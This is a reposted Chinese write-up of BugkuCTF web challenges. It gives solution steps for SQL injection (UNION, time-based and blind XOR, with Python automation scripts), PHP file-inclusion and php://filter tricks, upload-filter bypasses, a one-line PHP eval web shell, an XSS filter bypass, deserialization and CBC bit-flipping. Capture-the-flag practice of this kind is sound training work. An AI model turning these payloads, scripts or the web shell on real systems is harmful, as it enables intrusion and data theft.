BUGKUctf-web-writeup


BUGKUctf-web-writeup

找到了個ctf平台。里面的web挺多的。終於將web題目寫的差不多了。

Web

簽到題

加群就可以了

Web2

直接F12就看到了

文件上傳測試

Burp抓包
文件名改成 1.jpg.php 即可

計算題

F12 改長度限制即可

Web3

阻止一直彈框,然后源代碼

Unicode解碼下就可以了

Sql注入

右鍵源代碼,看到gb2312 易想到寬字節注入

測試下

爆出數據庫:

結合題目,得flag

SQL注入1

Sql語句:$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

可以用%00繞過關鍵字過濾

爆出數據庫:

Flag :

你必須讓他停下

Burp抓包,返回的包圖片不一樣. Intruder 多次試試
隨便構造沒用的參數發送就行了
根據length 查看就行了

本地包含

源代碼

eval存在命令執行漏洞,構造出文件包含

Base64解碼即可

后來得知可以這么寫。

積累太少。

變量1

源代碼

(和“百度杯”CTF比賽(二月場)題目一致)
提示flag在變量里。正則匹配只能大小寫字符和數字。 eval("var_dump($$args);");打印出變量的值。 利用超全局數組GLOBALS 可以打印出所有變量。

Web4

右鍵源代碼 看見了一串js代碼 先URL解碼

就是拼接 67d709b2b54aa2aa648cf6e87a7114f1 提交

Web5

右鍵源代碼,將JSfuck代碼扔進F12控制台

flag在index里

點下鏈接http://120.24.86.145:8005/post/index.php?file=show.php
發現File參數 易想到文件包含漏洞

PAYLOAD:http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

Base64解碼

phpcmsV9

利用注冊頁面的漏洞試試能不能getshell。顯示操作失敗。

所以只能先利用sql注入,注入出后台賬號和密碼。網上有很多注入exp。

花了一毛解密 a123456

在后台可以直接看到我們在注冊頁面上傳的shell ,原來只是沒回顯。 菜刀連上去即可

海洋CMS

利用網上已經知道的漏洞。

根據提示,列出目錄開始找。

輸入密碼查看flag

根據提示 用burp爆破

前女友

點鏈接看到源代碼

利用PHPmd5()漏洞strcmp()漏洞

成績單

容易看出考SQL注入

爆表:-1' union select 1,table_name,3,4 from information_schema.tables where TABLE_SCHEMA='skctf_flag' LIMIT 0,1

爆字段:-1' union select 1,column_name,3,4 from information_schema.columns where TABLE_SCHEMA='skctf_flag' and table_name='fl4g' LIMIT 0,1#

Flag:-1' union select 1,skctf_flag,3,4 from fl4g#

Web6

Flag base64解碼后還有base64的字符 在解碼 。 是串數字。根據提示就是要把那串數字POST過去 ,要短時間內。Python腳本:

#!usr/bin/env python
#!coding=utf-8

__author__ = 'zhengjim'

import requests
import base64


url ='http://120.24.86.145:8002/web6/'

r =requests.session()

headers = r.get(url).headers
key = base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])
data={'margin':key}
print r.post(url=url,data=data).content

cookies欺騙??

點進來URL
http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

a2V5cy50eHQ=解碼是keys.txt 所以替換成base64后的index.php。Line是行數

遍歷獲得源代碼

得到源代碼后,看出,構造cookie margin=margin 然后讀keys.php即可

xss

過濾<>\u003cscript\u003ealert(_key_)\u003c/script\u003e 可繞過

never give up

發現提示1p.html 訪問1p.html后發現了一串WORDS。解碼。有串base64解碼 。在url解碼

直接訪問即可(出題人應該是忘記屏蔽了-。-)

正解應該是

welcome to bugkuctf

看源代碼:

txt參數的File_get_contents()利用php://input來繞過fileinclude()文件包含

讀出hint.php解碼后:

在讀flag.php,結果提示不給flag 於是讀下index.php

發現正則匹配file 不能包含flag

看到這段代碼及hint.php類有個 __toString()構造函數,可以構造password的序列化。然后反序列讀出flag.php文件

login1

根據提示 就是注冊一個賬號如下

admin                       a

然后就可以重置admin密碼,后登入即可。

過狗一句話

看提示 猜測index.php就是shell,於是直接利用

flag

各種繞過喲

根據源代碼 GET 一個unname和POST一個passwd值不能相等,sha1要相等 ,提交數組。Sha1()均返回null 繞過

Web8

根據源代碼

extract可以將$_GET數組的值轉為變量,默認是如果有沖突,則覆蓋已有的變量。
File_get_contents()利用php://input繞過。

字符?正則?

一步步跟着匹配即可,[:punct:]是匹配任何標點符號

考細心

看主頁404,但和真正的404頁面不一樣,沒什么發現,於是試了下robots.txt 發現了resusl.php文件。

本來以為是偽造IP,然后注入得到password,提交。然后均失敗了。 試了下?x=admin 出現flag。。。

求getshell

上傳題。 各種方法嘗試。發現是后綴名黑名單檢測和類型檢測
php別名:php2, php3, php4, php5, phps, pht, phtm, phtml 均試下。

發現php5繞過

上面的Content-Type的值 大小寫繞過

flag.php

點了沒反應,提示:hint 多次嘗試,發現GET一個hint就有源代碼

審計代碼,要傳一個cookie名為ISecer的反序列的值。並且反序列后的值要全相等於"$KEY"
這里要注意是有雙引號。

而且$KEY的傳值的此之后的。所以反序列的值不是ISecer:www.isecer.com

我們要得到的值是string(0) ""所以序列化該值即可。

Web15

給了源代碼
INSERT INTO的注入,並且不能有,否則會吃掉后面的語句

Payload:11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1

Python腳本

import requests
import string
url="http://120.24.86.145:8002/web15/"
allString=string.lowercase + string.uppercase + string.digits
flag=""

for i in range(1,33):
   for str1 in allString:
     data="11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1".format(str(i),str1)
     # print data
     headers={"x-forwarded-for":data}
     try:
         res=requests.get(url,headers=headers,timeout=3)
     except requests.exceptions.ReadTimeout, e:
         flag += str1
         print flag
         break
print 'flag:' + flag

文件包含2

看見file想到文件包含,php://filter/read=convert.base64-encode/resource=hello.php

失敗。
右鍵源代碼,發現有個upload.php上傳。所以上傳一個帶一句話木馬的圖片包含即可。
<?php?>這兩個被過濾了。換個姿勢上傳~

<?=eval($_POST['cmd']);

成功連接

sql注入2

根據題目sql注入 試了好久好久,於是請教他人。。。結果大牛說訪問下flag 就行了。巨坑!

wordpress

登入后台。根據這個構造賬號密碼 sun/sun19980321

看到隱藏文章

經人提醒才知道,是數據庫

找到http://wp.bugku.com/phpmyadmin/ 登入

Login3

過濾了空格or and where + * union ,%0a %0b等等

測試得出用 ^

Payload

import requests
url = 'http://47.93.190.246:49167/index.php'
r = requests.Session()
result = ''
for i in range(1,33):
    for j in range(37,127):
        payload = "admin1'^(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
        print payload
        data = {"username":payload,"password":"asd"}
        html = r.post(url,data=data)
        if "password error!" in html.content:
            result += chr(j)
            print result
            break
print result

跑出MD5解密 登入即可

login4

看到登入框就試試有沒有注入,源代碼泄露。 發現.index.php.swp 存在
恢復成源碼。

根據提示,知道了是利用cbc字符翻轉攻擊。

原理看文章:http://wooyun.jozxing.cc/static/drops/tips-7828.html

首先先post username = ‘qdmin’ password=’1’ 會得到一個ivcipher

利用CBC字節翻轉攻擊將qdminq 改成 a后加密得到cipher

替換cookie[cipher]的值 訪問。

反序列化失敗。 原因是第一個塊數據(16字節)被破壞了。因為要username要等於admin所以不能利用文章里的說的填充字符。 又因為是第一個塊數據被破壞,第一個塊數據是和IV有關,所以只要將在CBC字符翻轉攻擊,得到新的IV就可以修復第一塊數據。

代入vi即可


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM